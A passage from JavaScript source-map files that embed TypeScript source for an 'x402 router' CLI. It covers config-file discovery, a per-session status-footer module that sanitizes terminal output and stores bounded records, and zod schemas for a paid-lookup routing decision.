candidate;\n }\n }\n if (await pathExists(join(dir, '.git'))) return null; // repo root, no file\n if (dir === homeDir) return null; // never cross above $HOME\n const parent = dirname(dir);\n if (parent === dir) return null;\n dir = parent;\n }\n}\n\n/**\n * True when the file is owned by a different uid than the process. On a platform\n * without a uid model (Windows: process.getuid is undefined) this is always\n * false — the ownership gate is a POSIX shared-host protection.\n */\nasync function defaultIsForeignOwned(filePath: string): Promise<boolean> {\n const uid = process.getuid?.();\n if (uid === undefined) return false;\n try {\n return (await stat(filePath)).uid !== uid;\n } catch {\n return false;\n }\n}\n\n/** True when a path exists (of any type). Shared with the candidate command's\n * repo-root walk so the two `.git`/file probes stay one implementation. */\nexport async function pathExists(path: string): Promise<boolean> {\n try {\n await stat(path);\n return true;\n } catch {\n return false;\n }\n}\n\n/**\n * True only on a git check-ignore exit 0 (the path is ignored). Exit 1 (tracked)\n * and any error (git absent, not a repo) resolve false: `full-auto` is honored\n * from a project file ONLY when git positively confirms it is ignored. Uses\n * execFile with an argv array (never a shell), matching wallet/passphrase.ts.\n */\nfunction defaultIsGitignored(filePath: string): Promise<boolean> {\n return new Promise((resolve) => {\n execFile(\n 'git',\n ['check-ignore', '--quiet', '--', filePath],\n { cwd: dirname(filePath) },\n (err) => resolve(err === null),\n );\n });\n}\n"],"mappings":";;;;;;;;;;;;;;;;;;;;AAAA,SAAS,gBAAgB;AACzB,SAAS,UAAU,YAAY;AAC/B,SAAS,eAAe;AACxB,SAAS,SAAS,YAAY;AAwE9B,SAAS,UAAU,KAAiC;AAClD,MAAI;AACF,WAAO,IAAI,IAAI,GAAG,EAAE;AAAA,EACtB,QAAQ;AACN,WAAO;AAAA,EACT;AACF;AAuCO,SAAS,mBACd,QACA,GACyB;AACzB,QAAM,SAAS,EAAE,kBAAkB;AACnC,MAAI,OAAO,WAAW,EAAG,QAAO;AAChC,QAAM,aAAa,UAAU,OAAO,WAAW,gBAAgB,OAAO;AACtE,QAAM,YAAY,UAAU,EAAE,QAAQ,KAAK;AAC3C,MAAI,eAAe,UAAa,cAAc,UAAa,eAAe,WAAW;AACnF,WAAO;AAAA,EACT;AACA,MAAI,CAAC,kBAAkB,YAAY,EAAE,eAAe,KAAK,EAAG,QAAO;AACnE,SAAO,EAAE,QAAQ,YAAY,OAAO;AACtC;AAUO,SAAS,kBAAkB,QAAgB,gBAAiC;AACjF,MAAI,iBAAiB,QAAQ,iBAAiB,EAAG,QAAO;AACxD,QAAM,eAAe,UAAU,cAAc;AAC7C,SAAO,iBAAiB,UAAa,CAAC,iBAAiB,QAAQ,YAAY;AAC7E;AAkBO,SAAS,iBAAiB,QAAgC;AAC/D,QAAM,SAAS,OAAO,qBAAqB,gBAAgB;AAC3D,MAAI,OAAO,WAAW,YAAY,WAAW,GAAI,QAAO;AACxD,QAAM,SAAS,UAAU,OAAO,WAAW,gBAAgB,OAAO;AACl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../src/router/progress.ts"],"sourcesContent":["import { createHash, randomUUID } from 'node:crypto';\nimport { constants } from 'node:fs';\nimport { open, opendir, rm } from 'node:fs/promises';\nimport { join } from 'node:path';\nimport { writeFileAtomic } from '../lib/atomic-json';\n\n/**\n * The live status line's evidence: what this session is looking up right now,\n * which provider is actually being called, and what it cost.\n *\n * DISPLAY ONLY, AND STRICTLY DOWNSTREAM. Nothing here is read by the gate, the\n * decision, the spend policy or the paying leg; every write is best effort and\n * every failure is swallowed, so a full disk or a read-only data dir loses the\n * footer and changes no routing or payment outcome. That is the whole contract\n * this module has to keep.\n *\n * KEYED TO THE SESSION, NEVER GUESSED FROM IT. A record lives under the SHA-256\n * of the harness's own `session_id`, so the renderer for one session cannot see\n * another's. The hook knows that id; the tool, which runs inside the MCP server\n * process, does not, so it resolves the session in one of exactly two ways:\n *\n * - BY BINDING. An `execute` decision leaves an `id-<hash>.json` marker in the\n * session that produced it, and the model passes that id back on the tool\n * call. Resolving through the marker is proof, not inference.\n * - BY SOLE ACTIVITY. With no id, the request belongs to the only session that\n * has been active recently, and when two have been, it belongs to neither as\n * far as this module is concerned: {@link resolveProgressSession} returns\n * null and nothing is written. A missing footer is the correct failure;\n * showing one session's lookup in another session's terminal is not.\n */\n\nconst PROGRESS_DIR = 'progress';\n/** The binding marker's prefix, so it can never be read back as a call record. */\nconst BINDING_PREFIX = 'id-';\n/** The session's own liveness touch, likewise outside the call-record pattern. */\nconst SESSION_FILE = 'session.json';\n/** Call records are named by a 64-hex digest and nothing else is read as one. */\nconst CALL_FILE_RE = /^[a-f0-9]{64}\\.json$/;\n\n/** An in-flight call older than this is shown as stale, never as running. */\nexport const STALE_AFTER_MS = 90_000;\n/**\n * How long a state stays on the footer once nothing has replaced it. The demo\n * holds each one for about ten seconds, which is what makes a decision that\n * takes a second readable at a one-second refresh; after that the line is\n * `x402 · ready` again.\n */\nexport const RECENT_MS = 10_000;\n/** Older than this and a record is ignored by the renderer and pruned on write. */\nexport const EXPIRY_MS = 10 * 60_000;\n/** How recently a session must have been touched to claim an id-less request. */\nexport const SESSION_ACTIVE_MS = 10 * 60_000;\n/** Above this many files a session directory is reported rather than scanned. */\nconst MAX_RECORDS = 256;\n/** A ceiling on the root scan. {@link pruneSessions} keeps it far below this:\n * a directory is one LIVE session, not one session this machine ever had. */\nconst MAX_SESSIONS = 4_096;\n/** A record larger than this is damaged or not ours; it is skipped unread. */\nconst MAX_RECORD_BYTES = 4_096;\n\nexport type ProgressPhase = 'routing' | 'calling' | 'done';\n\n/** The two markers: a session's liveness touch and a decision-id binding. */\ninterface Stamp {\n version: 1;\n at: number;\n}\n\n/** What one call looks like on disk. Every string is already masked and bounded. */\ninterface SavedProgress extends Stamp {\n phase: ProgressPhase;\n /** The tool whose activity this is, as the footer names it. */\n operation: string;\n /** What the state SAYS: the outcome on `done`, and on an in-flight record the\n * stage, when it is not the tool's own `selecting service`. */\n outcome?: string;\n /** Host plus path of the provider actually called, without a scheme. */\n endpoint?: string;\n /** The call's parameters as compact JSON. */\n parameters?: string;\n /** What the provider was paid, as USD. */\n price?: string;\n}\n\nexport interface ProgressStep {\n phase: ProgressPhase;\n operation?: string;\n outcome?: string;\n /** The executed provider's URL. It can differ from the hint's suggestion. */\n provider?: string;\n parameters?: unknown;\n price?: string;\n}\n\nconst digest = (value: string): string => createHash('sha256').update(value).digest('hex');\n\nfunction bounded(value: string, limit: number): string {\n const chars = Array.from(value);\n return chars.length <= limit ? value : `${chars.slice(0, limit - 1).join('')}…`;\n}\n\n/**\n * Provider text reaches a terminal here, so it is treated as hostile: control\n * characters, format characters and directional overrides are replaced before\n * anything is written, and again before anything is printed. A footer that can\n * be made to repaint the line above it is a spoofing surface, not a display.\n */\nexport function sanitize(value: string, limit: number): string {\n return bounded(\n value\n .replace(/[\\p{Cc}\\p{Cf}]/gu, ' ')\n .replace(/\\s+/g, ' ')\n .trim(),\n limit,\n );\n}\n\n/**\n * The CLI's own redaction, behind a dynamic import ON PURPOSE: the rule corpus\n * and the BIP-39 wordlist are a real parse cost, the renderer runs once a\n * second, and only the write path needs them. `dist-chunks.test.ts` pins it.\n */\nasync function clean(value: string, limit: number): Promise<string> {\n const { mask } = await import('../lib/redact');\n return sanitize(mask(value), limit);\n}\n\n/** Host plus path, which is what names a provider to a person watching. */\nasync function endpointOf(value: string): Promise<string> {\n let url: URL;\n try {\n url = new URL(value);\n } catch {\n return 'invalid endpoint';\n }\n if (url.username !== '' || url.password !== '') return 'invalid endpoint';\n return clean(`${url.host}${url.pathname === '/' ? '' : url.pathname}`, 110);\n}\n\nasync function parametersOf(value: unknown): Promise<string | undefined> {\n let json: string | undefined;\n try {\n json = JSON.stringify(value);\n } catch {\n return undefined;\n }\n return json === undefined ? undefined : clean(json, 180);\n}\n\nexport function sessionDir(dataDir: string, sessionId: string): string {\n return join(dataDir, PROGRESS_DIR, digest(sessionId));\n}\n\n/** A fresh key for one call, so two overlapping lookups never share a record. */\nexport function newCallId(): string {\n return randomUUID();\n}\n\n/**\n * Mark this session live, so an id-less tool call made from it can be\n * attributed. Written on every hook event, including the ones that route\n * nothing: an open session has to be distinguishable from a closed one.\n */\nexport async function noteSession(\n dataDir: string,\n sessionId: string,\n now = Date.now(),\n): Promise<void> {\n await write(join(sessionDir(dataDir, sessionId), SESSION_FILE), { version: 1, at: now });\n}\n\n/** Record that this decision id was produced in this session. */\nexport async function bindDecision(\n dataDir: string,\n sessionId: string,\n decisionId: string,\n now = Date.now(),\n): Promise<void> {\n await write(join(sessionDir(dataDir, sessionId), `${BINDING_PREFIX}${digest(decisionId)}.json`), {\n version: 1,\n at: now,\n });\n}\n\n/**\n * Which session directory a tool call belongs to, or null for \"cannot tell\".\n * Null is a normal answer and its only consequence is a footer that stays quiet.\n */\nexport async function resolveProgressSession(\n dataDir: string,\n opts: { id?: string; now?: number } = {},\n): Promise<string | null> {\n const now = opts.now ?? Date.now();\n const root = join(dataDir, PROGRESS_DIR);\n let names: string[];\n try {\n const directory = await opendir(root);\n names = [];\n for await (const entry of directory) {\n if (entry.isDirectory() && /^[a-f0-9]{64}$/.test(entry.name)) names.push(entry.name);\n if (names.length >= MAX_SESSIONS) break;\n }\n } catch {\n return null;\n }\n if (opts.id !== undefined && opts.id.length > 0) {\n const marker = `${BINDING_PREFIX}${digest(opts.id)}.json`;\n for (const name of names) {\n const bound = await readStamp(join(root, name, marker));\n if (bound !== null && now - bound.at <= EXPIRY_MS) return join(root, name);\n }\n // A stale or unknown id says nothing about which session asked, so the\n // sole-activity rule below still applies rather than a wrong attribution.\n }\n const live: string[] = [];\n for (const name of names) {\n const touched = await readStamp(join(root, name, SESSION_FILE));\n if (touched !== null && now - touched.at <= SESSION_ACTIVE_MS) live.push(name);\n if (live.length > 1) return null;\n }\n return live.length === 1 ? join(root, live[0] as string) : null;\n}\n\n/**\n * Record one step of one call. The caller holds the directory (from\n * {@link sessionDir} or {@link resolveProgressSession}) and the call id, so a\n * step never has to re-resolve anything on the hot path.\n */\nexport async function writeProgress(\n directory: string,\n callId: string,\n step: ProgressStep,\n now = Date.now(),\n): Promise<void> {\n const endpoint = step.provider === undefined ? undefined : await endpointOf(step.provider);\n const parameters =\n step.parameters === undefined ? undefined : await parametersOf(step.parameters);\n const saved: SavedProgress = {\n version: 1,\n at: now,\n phase: step.phase,\n operation: sanitize(step.operation ?? 'request', 24) || 'request',\n ...(step.outcome !== undefined ? { outcome: sanitize(step.outcome, 40) } : {}),\n ...(endpoint !== undefined ? { endpoint } : {}),\n ...(parameters !== undefined ? { parameters } : {}),\n ...(step.price !== undefined ? { price: sanitize(step.price, 24) } : {}),\n };\n await write(join(directory, `${digest(callId)}.json`), saved);\n}\n\nexport interface LookupFooter {\n /** A decision is in flight. */\n routing(): Promise<void>;\n /** The EXECUTED provider, which can differ from what the hint suggested. */\n calling(step: { provider: string; parameters?: unknown }): Promise<void>;\n /** The outcome, and what the provider was paid for it. */\n done(\n outcome: string,\n step?: { provider?: string; parameters?: unknown; price?: string },\n ): Promise<void>;\n}\n\n/** A footer for a session this call cannot be attributed to: it writes nothing. */\nconst SILENT: LookupFooter = {\n routing: async () => undefined,\n calling: async () => undefined,\n done: async () => undefined,\n};\n\n/**\n * The `request` tool's footer: the session is resolved ONCE, at the top of the\n * call, and each later step is one small write. An unresolvable session yields\n * {@link SILENT}, and the lookup runs exactly as it would have.\n */\nexport async function openLookupFooter(\n dataDir: string,\n opts: { id?: string; operation?: string; now?: () => number } = {},\n): Promise<LookupFooter> {\n const now = opts.now ?? Date.now;\n const directory = await resolveProgressSession(dataDir, {\n ...(opts.id !== undefined ? { id: opts.id } : {}),\n now: now(),\n }).catch(() => null);\n if (directory === null) return SILENT;\n const callId = newCallId();\n const operation = opts.operation ?? 'request';\n const step = async (patch: ProgressStep): Promise<void> => {\n await writeProgress(directory, callId, { operation, ...patch }, now());\n };\n return {\n routing: async () => {\n await step({ phase: 'routing' });\n await pruneProgress(directory, now());\n },\n calling: async (calling) => step({ phase: 'calling', ...calling }),\n done: async (outcome, detail) => step({ phase: 'done', outcome, ...detail }),\n };\n}\n\n/**\n * Remove records past {@link EXPIRY_MS}. Run from a writer, never from the\n * renderer: the footer refreshes once a second and must stay read-only.\n */\nexport async function pruneProgress(directory: string, now = Date.now()): Promise<void> {\n try {\n const dir = await opendir(directory);\n let count = 0;\n for await (const entry of dir) {\n if (++count > MAX_RECORDS) return;\n if (!entry.isFile() || entry.name === SESSION_FILE) continue;\n const record = await readStamp(join(directory, entry.name));\n if (record === null || now - record.at > EXPIRY_MS) {\n await rm(join(directory, entry.name), { force: true }).catch(() => undefined);\n }\n }\n } catch {\n // Housekeeping only. Nothing downstream depends on it having run.\n }\n}\n\n/**\n * Remove the directories of sessions that are over.\n *\n * WITHOUT THIS THE ROOT ONLY GROWS, one directory per session this machine has\n * ever had, and a root big enough to hit {@link MAX_SESSIONS} would leave\n * {@link resolveProgressSession} scanning an arbitrary subset that need not\n * contain the session asking. Run from the hook, which is the one writer that\n * fires on every turn; a directory whose session is still live is never touched.\n */\nexport async function pruneSessions(dataDir: string, now = Date.now()): Promise<void> {\n const root = join(dataDir, PROGRESS_DIR);\n try {\n const directory = await opendir(root);\n let seen = 0;\n for await (const entry of directory) {\n if (++seen > MAX_SESSIONS) return;\n if (!entry.isDirectory() || !/^[a-f0-9]{64}$/.test(entry.name)) continue;\n const path = join(root, entry.name);\n const session = await readStamp(join(path, SESSION_FILE));\n if (session !== null && now - session.at <= SESSION_ACTIVE_MS) continue;\n // The touch is gone or old, so the only thing that can keep this\n // directory is a record still inside the renderer's window.\n if (await hasLiveRecord(path, now)) continue;\n await rm(path, { recursive: true, force: true }).catch(() => undefined);\n }\n } catch {\n // Housekeeping only. Nothing downstream depends on it having run.\n }\n}\n\nasync function hasLiveRecord(directory: string, now: number): Promise<boolean> {\n try {\n const dir = await opendir(directory);\n let count = 0;\n for await (const entry of dir) {\n if (++count > MAX_RECORDS) return true;\n if (!entry.isFile() || entry.name === SESSION_FILE) continue;\n const record = await readStamp(join(directory, entry.name));\n if (record !== null && now - record.at <= EXPIRY_MS) return true;\n }\n } catch {\n return true;\n }\n return false;\n}\n\n/**\n * The footer for one session: one line, bounded, sanitized, and empty of\n * everything but this session's own calls. Read-only by construction.\n */\nexport async function renderProgress(\n dataDir: string,\n sessionId: string,\n options: { now?: number; columns?: number } = {},\n): Promise<string> {\n const now = options.now ?? Date.now();\n // The harness truncates to the real terminal width, and `COLUMNS` rarely\n // survives into a status-line process, so the default is a wide terminal\n // rather than a narrow one: cutting a provider's path off at 80 columns on a\n // 200-column terminal loses exactly the part worth reading.\n const columns = Math.max(45, Math.min(400, options.columns || 160));\n const directory = sessionDir(dataDir, sessionId);\n const records: SavedProgress[] = [];\n try {\n const dir = await opendir(directory);\n let count = 0;\n for await (const entry of dir) {\n if (++count > MAX_RECORDS) return bounded('x402 · activity exceeds display limit', columns);\n if (!entry.isFile() || !CALL_FILE_RE.test(entry.name)) continue;\n const record = await readCall(join(directory, entry.name));\n if (record !== null && now - record.at <= EXPIRY_MS) records.push(record);\n }\n } catch (error) {\n // A SESSION WITH NO DIRECTORY IS IDLE, not broken: it has simply not looked\n // anything up yet, and the router being on is the thing the idle line says.\n // Any OTHER read failure is this display failing, and a display that failed\n // prints nothing rather than a status it did not read.\n return (error as NodeJS.ErrnoException).code === 'ENOENT' ? READY : '';\n }\n const running = records\n .filter((row) => row.phase !== 'done' && now - row.at <= holdMs(row))\n .sort((a, b) => b.at - a.at);\n // Only a LOOKUP goes stale out loud. A hook decision has a five-second budget,\n // so one still in flight after its hold is a dead hook, and the footer says\n // ready rather than naming a stage nothing is working on.\n const stale = records.filter(\n (row) => row.phase !== 'done' && now - row.at > holdMs(row) && row.operation === 'request',\n );\n const finished = records\n .filter((row) => row.phase === 'done' && now - row.at <= RECENT_MS)\n .sort((a, b) => b.at - a.at);\n const head = running[0] ?? finished[0] ?? stale.sort((a, b) => b.at - a.at)[0];\n if (head === undefined) return READY;\n // OVERLAPPING CALLS ARE COUNTED, NOT HIDDEN. The newest running call is the\n // one worth naming; the rest are a count, because a second endpoint and its\n // parameters do not fit a line beside the first.\n const alsoRunning = running.length - (running[0] === head ? 1 : 0);\n const suffix = alsoRunning > 0 ? ` · +${alsoRunning} more` : '';\n return bounded(`${line(head, now)}${suffix}`, columns);\n}\n\n/** What the footer says when this session has nothing running or just finished.\n * It is the visible proof that the router is on, so it is never blank. */\nconst READY = 'x402 · ready';\n\n/**\n * How long this state holds the line. A lookup in flight holds it until it\n * lands, because a provider call can take a minute; everything else holds it\n * for {@link RECENT_MS}, which is how the demo reads: one state per second or\n * so, each one still there when the next arrives.\n */\nfunction holdMs(row: SavedProgress): number {\n return row.phase !== 'done' && row.operation === 'request' ? STALE_AFTER_MS : RECENT_MS;\n}\n\n/**\n * One call, as the footer says it: `x402 · <tool>: <state> <host/path> ·\n * <parameters> · <price>`. Every field is sanitized AGAIN here, because what is\n * on disk is input to this process even when this process wrote it.\n */\nfunction line(row: SavedProgress, now: number): string {\n const operation = sanitize(row.operation, 24) || 'request';\n if (row.phase !== 'done' && now - row.at > STALE_AFTER_MS) {\n return `x402 · ${operation}: stale, no outcome recorded`;\n }\n // `selecting service` is the demo's own word for a decision in flight, and a\n // stage the hook names for itself wins over it.\n const state =\n row.phase === 'routing'\n ? sanitize(row.outcome ?? 'selecting service', 40)\n : row.phase === 'calling'\n ? 'calling'\n : sanitize(row.outcome ?? 'done', 40);\n return (\n `x402 · ${operation}: ${state}` +\n (row.endpoint !== undefined ? ` ${sanitize(row.endpoint, 110)}` : '') +\n (row.parameters !== undefined ? ` · ${sanitize(row.parameters, 180)}` : '') +\n (row.price !== undefined ? ` · ${sanitize(row.price, 24)}` : '')\n );\n}\n\nasync function write(path: string, body: Stamp | SavedProgress): Promise<void> {\n try {\n await writeFileAtomic(path, JSON.stringify(body), { mode: 0o600, dirMode: 0o700 });\n } catch {\n // The footer is the only thing that can be lost here, by design.\n }\n}\n\n/** A marker's timestamp, or null for absent, damaged or not ours. */\nasync function readStamp(path: string): Promise<Stamp | null> {\n return stampOf(await readJson(path));\n}\n\nfunction stampOf(row: Record<string, unknown> | null): Stamp | null {\n if (row === null) return null;\n return row.version === 1 && typeof row.at === 'number' && Number.isFinite(row.at)\n ? { version: 1, at: row.at }\n : null;\n}\n\n/** A call record, or null. Every field is re-checked: what is on disk is input. */\nasync function readCall(path: string): Promise<SavedProgress | null> {\n const row = await readJson(path);\n const stamp = stampOf(row);\n if (row === null || stamp === null || typeof row.operation !== 'string') return null;\n if (!['routing', 'calling', 'done'].includes(row.phase as string)) return null;\n const optional = ['outcome', 'endpoint', 'parameters', 'price'] as const;\n if (!optional.every((key) => row[key] === undefined || typeof row[key] === 'string')) return null;\n return {\n ...stamp,\n phase: row.phase as ProgressPhase,\n operation: row.operation,\n ...Object.fromEntries(\n optional.filter((key) => row[key] !== undefined).map((key) => [key, row[key]]),\n ),\n };\n}\n\n/**\n * One bounded JSON object, or null. `O_NOFOLLOW` because these files live under\n * a directory the user can write: a symlink planted here must not turn a footer\n * read into a read of something else.\n */\nasync function readJson(path: string): Promise<Record<string, unknown> | null> {\n const file = await open(path, constants.O_RDONLY | constants.O_NOFOLLOW).catch(() => undefined);\n if (file === undefined) return null;\n try {\n if ((await file.stat()).size > MAX_RECORD_BYTES) return null;\n const buffer = Buffer.alloc(MAX_RECORD_BYTES + 1);\n const { bytesRead } = await file.read(buffer, 0, buffer.length, 0);\n if (bytesRead > MAX_RECORD_BYTES) return null;\n const parsed: unknown = JSON.parse(buffer.subarray(0, bytesRead).toString('utf8'));\n return parsed === null || typeof parsed !== 'object' || Array.isArray(parsed)\n ? null\n : (parsed as Record<string, unknown>);\n } catch {\n return null;\n } finally {\n await file.close().catch(() => undefined);\n }\n}\n"],"mappings":";;;;;;AAAA,SAAS,YAAY,kBAAkB;AACvC,SAAS,iBAAiB;AAC1B,SAAS,MAAM,SAAS,UAAU;AAClC,SAAS,YAAY;AA4BrB,IAAM,eAAe;AAErB,IAAM,iBAAiB;AAEvB,IAAM,eAAe;AAErB,IAAM,eAAe;AAGd,IAAM,iBAAiB;AAOvB,IAAM,YAAY;AAElB,IAAM,YAAY,KAAK;AAEvB,IAAM,oBAAoB,KAAK;AAEtC,IAAM,cAAc;AAGpB,IAAM,eAAe;AAErB,IAAM,mBAAmB;AAoCzB,IAAM,SAAS,CAAC,UAA0B,WAAW,QAAQ,EAAE,OAAO,KAAK,EAAE,OAAO,KAAK;AAEzF,SAAS,QAAQ,OAAe,OAAuB;AACrD,QAAM,QAAQ,MAAM,KAAK,KAAK;AAC9B,SAAO,MAAM,UAAU,QAAQ,QAAQ,GAAG,MAAM,MAAM,GAAG,QAAQ,CAAC,EAAE,KAAK,EAAE,CAAC;AAC9E;AAQO,SAAS,SAAS,OAAe,OAAuB;AAC7D,SAAO;AAAA,IACL,MACG,QAAQ,oBAAoB,GAAG,EAC/B,QAAQ,QAAQ,GAAG,EACnB,KAAK;AAAA,IACR;AAAA,EACF;AACF;AAOA,eAAe,MAAM,OAAe,OAAgC;AAClE,QAAM,EAAE,KAAK,IAAI,MAAM,OAAO,sBAAe;AAC7C,SAAO,SAA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,OAAO,SAAS,GAAG,SAAS,EAAE,SAAS,MAAM,CAAC;AACjF,WAAO,WAAW,QAAQ,OAAO,WAAW,YAAY,MAAM,QAAQ,MAAM,IACxE,OACC;AAAA,EACP,QAAQ;AACN,WAAO;AAAA,EACT,UAAE;AACA,UAAM,KAAK,MAAM,EAAE,MAAM,MAAM,MAAS;AAAA,EAC1C;AACF;","names":[]}
@@ -1 +0,0 @@
1
- {"version":3,"sources":["../src/router/decision.ts"],"sourcesContent":["import { z } from 'zod';\nimport { fetchFailureToCliError, httpRequest } from '../lib/http';\nimport type { HttpRequestOptions, HttpResult } from '../lib/http';\nimport type { CommandContext } from '../context';\nimport type { Packet } from './context';\n\n/**\n * `POST /api/x402-router`: ONE FREE DECISION PER LOOKUP.\n *\n * The routing decision costs nothing and nobody signs for it. The hook asks for\n * it from the user's own words, the backend answers with what it would do and\n * what the provider charges, and the only payment on the wire is the one\n * `runPay` makes to that provider. That deletes the router fee and everything\n * built to carry it: the 402 probe, the requirements cache, the stale-quote\n * retry, the settlement accounting and one Base settlement of about 1.5 s from\n * every paid lookup.\n *\n * NOTHING IS STORED LOCALLY. The bounded packet travels with the request and\n * the backend keeps it against the decision id until that id expires, which is\n * how `request({query})` reaches the same calibrated input with no session\n * file, no timestamp latch and no guess about which window this process serves.\n */\n\nexport const ROUTER_PATH = '/api/x402-router';\n\n/**\n * The request the server builds and this client sends verbatim. Query assembly,\n * body encoding and header choice are the server's; what stays here is every\n * check that decides whether to send it at all.\n */\nconst RequestSchema = z.object({\n url: z.string().min(1).max(16_384),\n method: z.enum(['GET', 'POST', 'PUT', 'PATCH', 'DELETE', 'HEAD', 'OPTIONS']),\n headers: z.record(z.string(), z.string()),\n body: z\n .string()\n .max(256 * 1024)\n .optional(),\n});\n\nconst ContractSchema = z.object({\n /** Flat, for display and for the result check; never re-encoded into a call:\n * the server built `request` from them and this client sends that verbatim. */\n arguments: z.record(z.string(), z.unknown()).optional(),\n resultSchema: z.record(z.string(), z.unknown()).optional(),\n request: RequestSchema,\n});\nexport type DecisionContract = z.infer<typeof ContractSchema>;\n\n/**\n * What stopped an outcome this client cannot execute, in terms the host can act\n * on: a stable reason code, the stage that stopped, the fields or scope choices\n * the user can supply, and one concrete next action.\n */\nconst DiagnosticsSchema = z.object({\n reasonCode: z.string().min(1).max(64),\n stage: z.string().min(1).max(32),\n missing: z.array(z.string().max(200)).max(60),\n nextAction: z.string().max(500),\n});\nexport type DecisionDiagnostics = z.infer<typeof DiagnosticsSchema>;\n\n/**\n * ONE VARIANT PER ANSWER, DISCRIMINATED ON THE ACTION. Optional fields made\n * every shape legal: an `execute` with no contract parsed and came back to the\n * host as a routine `needs_input`, a non-execute with no diagnostics parsed\n * with nothing to act on, and a hook answer carrying a contract parsed as\n * though the hook had quoted a price. Each of those is drift the shared\n * fixtures exist to catch, so each is now a parse failure that names itself.\n *\n * The two calls ask different questions and get different answers, so they get\n * different parsers. The HOOK asks whether a paid lookup is worth offering: an\n * id, or a reason it is not. The TOOL asks for the decision: the capability,\n * its price and the contract together, so a caller cannot approve one offer and\n * receive another.\n */\nconst IdSchema = z\n .string()\n .regex(/^[A-Za-z0-9_-]{8,64}$/)\n .describe(\n 'The turn id, an OPAQUE HANDLE: it is the one piece of server text this ' +\n 'client puts in a model-facing line, so the alphabet is pinned here ' +\n 'rather than escaped later.',\n );\n\n/** Every non-execute answer carries these, beside the action they explain. */\nconst RefusedSchema = z.strictObject({\n reason: z.string().max(2_000).optional(),\n diagnostics: DiagnosticsSchema,\n});\n\n/**\n * WHAT THE SERVICE IS, AND WHAT IT DOES. The hook answer used to be an id and\n * nothing else, so the line the host injected could only say \"a paid lookup is\n * available\", which a model follows 8 to 20 times in 40 where a line naming the\n * task and the service is followed 40 in 40. The gate knows which capability\n * serves the category it chose, so it now says so; the CONTRACT is still not\n * here, because the task the host will run does not exist yet.\n */\nconst CapabilityFields = {\n capabilityId: z.string().min(1).max(200),\n category: z.string().min(1).max(64),\n /** The service's own name, not the x402 reseller in front of it. */\n provider: z.string().min(1).max(120),\n capabilityDescription: z.string().min(1).max(500),\n /** What the provider charges, atomic USDC. DISPLAY ONLY: the amount actually\n * signed is what `gateSpend` caps. */\n providerPriceAtomic: z.string().regex(/^\\d+$/),\n};\n\nconst HookDecisionSchema = z.discriminatedUnion('action', [\n z\n .strictObject({\n action: z.literal('execute'),\n id: IdSchema,\n ...CapabilityFields,\n /** The x402 URL a lookup would pay, for the line the server writes. */\n endpoint: z.string().min(1).max(2_048),\n /** What to pass in `query`, in the service's own terms. */\n usage: z.string().min(1).max(300),\n /**\n * THE LINE, FINISHED. The server writes it with the real id in it and, on a\n * native call, the exact search or URL that was denied. The client injects\n * it and composes nothing, which is why there is no hint builder here any\n * more: two sides writing the same sentence is how they drift.\n */\n hint: z.string().min(1).max(1_000),\n })\n .superRefine((decision, ctx) => {\n // STRUCTURE, NEVER WORDING. This line lands in the model's context\n // verbatim, so the shape is checked the way the id's alphabet is: one\n // line, no control characters, and it has to be the call it claims to be,\n // naming the id this same answer carries. A hint that fails any of these\n // is a protocol error and the turn falls back to the generic line; nothing\n // here rewrites a word of a hint that passes.\n if (/[\\p{Cc}\\p{Cf}]/u.test(decision.hint)) {\n ctx.addIssue({ code: 'custom', path: ['hint'], message: 'a hint is one plain line' });\n }\n if (!decision.hint.includes('request({')) {\n ctx.addIssue({ code: 'custom', path: ['hint'], message: 'a hint names the call to make' });\n }\n if (!decision.hint.includes(decision.id)) {\n ctx.addIssue({\n code: 'custom',\n path: ['hint'],\n message: \"a hint carries this answer's own id\",\n });\n }\n }),\n RefusedSchema.extend({ action: z.literal('native') }),\n RefusedSchema.extend({ action: z.literal('needs_input') }),\n]);\n\nconst ToolDecisionSchema = z.discriminatedUnion('action', [\n z.strictObject({\n action: z.literal('execute'),\n ...CapabilityFields,\n contract: ContractSchema,\n }),\n RefusedSchema.extend({ action: z.literal('native') }),\n RefusedSchema.extend({ action: z.literal('needs_input') }),\n]);\n\nfunction envelope<T extends z.ZodTypeAny>(decision: T) {\n return z.strictObject({\n schemaVersion: z.literal(1),\n routerVersion: z.string().min(1).max(64),\n decision,\n /** A plain sentence about the CALL, such as an id that had expired. Never a\n * failure: the decision beside it ran anyway. */\n note: z.string().max(500).optional(),\n jev: z.object({ calls: z.number(), latencyMs: z.number() }).optional(),\n });\n}\n\nconst HookResponseSchema = envelope(HookDecisionSchema);\nconst ToolResponseSchema = envelope(ToolDecisionSchema);\n\nexport type HookResponse = z.infer<typeof HookResponseSchema>;\nexport type ToolResponse = z.infer<typeof ToolResponseSchema>;\nexport type HookDecision = HookResponse['decision'];\nexport type ToolDecision = ToolResponse['decision'];\n\n/** Which call this is, and therefore which answer is legal for it. */\nexport type CallKind = 'hook' | 'tool';\n\n/**\n * The exact body the hook call sends, spelled once and pinned to the shared\n * fixtures. The route reads it with a strict object, so an extra field is a\n * 400, and a 400 is a turn with no hint.\n *\n * ONE BODY FOR BOTH HOOKS. Which hook is asking is not a field: the route reads\n * it from `packet.pendingCall`, which the native hook sets and the prompt hook\n * does not. A `source` beside the packet was the `/prepare` route's shape, and\n * that route is gone.\n */\nexport function buildHookBody(packet: Packet): Record<string, unknown> {\n return { schemaVersion: 1, packet };\n}\n\n/** The exact body the tool call sends. `id` is the turn whose packet decides\n * with this query; `gateHint` is evidence, never authority. */\nexport function buildToolBody(request: {\n query: string;\n id?: string;\n gateHint?: GateHint;\n}): Record<string, unknown> {\n return {\n schemaVersion: 1,\n query: request.query,\n ...(request.id !== undefined ? { id: request.id } : {}),\n ...(request.gateHint !== undefined ? { gateHint: request.gateHint } : {}),\n };\n}\n\n/** The parsers, exposed so the shared wire fixtures are checked against the\n * same schemas production parses with rather than against a copy of them. */\nexport function parseForTests(kind: CallKind, value: unknown): { success: boolean } {\n const schema = kind === 'hook' ? HookResponseSchema : ToolResponseSchema;\n return { success: schema.safeParse(value).success };\n}\n\n/**\n * The gate's own reading of this turn, travelling as EVIDENCE for the lookup it\n * was produced for. The backend may refine or reject it, and it authorizes no\n * money: the local spend policy does that. Optional on both call forms.\n */\nexport interface GateHint {\n category: string;\n turnId: string;\n lookupId: string;\n}\n\nexport interface DecisionDeps {\n ctx: CommandContext;\n baseUrl: string;\n fetchImpl?: typeof fetch;\n /** Overrides the per-call deadline; the hook passes its own, smaller one. */\n timeoutMs?: number;\n}\n\nexport type DecisionOutcome<T> =\n | { status: 'decided'; decision: T }\n /** Nothing was paid and nothing could be: the endpoint is free, so a failure\n * here costs the turn a routing answer and nothing else. */\n | 